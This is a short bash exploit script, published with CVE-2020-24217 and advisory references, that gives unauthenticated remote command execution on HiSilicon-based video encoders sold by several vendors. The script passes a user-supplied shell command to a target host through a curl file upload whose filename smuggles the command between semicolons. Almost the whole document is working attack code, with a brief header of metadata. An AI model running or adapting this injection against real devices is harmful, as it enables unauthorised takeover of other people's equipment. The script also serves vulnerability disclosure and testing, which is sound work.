HiSilicon Video Encoders - RCE via unauthenticated command injection

#!/usr/bin/env bash

# Exploit Title: HiSilicon video encoders - RCE via unauthenticated command injection
# Date: 2020-09-20
# Exploit Author: Alexei Kojenov
# Vendor Homepage: multiple vendors
# Software Link: N/A
# Version: vendor-specific
# Tested on: Linux
# CVE: CVE-2020-24217
# Vendors: URayTech, J-Tech Digital, ProVideoInstruments
# Reference: https://kojenov.com/2020-09-15-hisilicon-encoder-vulnerabilities/
# Reference: https://www.kb.cert.org/vuls/id/896979


if [ "$#" -ne 2 ]
then
  echo "Usage: $0 <server>[:<port>] <command>"
  exit 1
fi

printf "executing the command... "
if curl -sF "upgrade=;filename=\"logo;$2;.png\"" http://$1 >/dev/null
then
  echo "SUCCESS: remote command executed"
else
  echo "ERROR: $?"
fi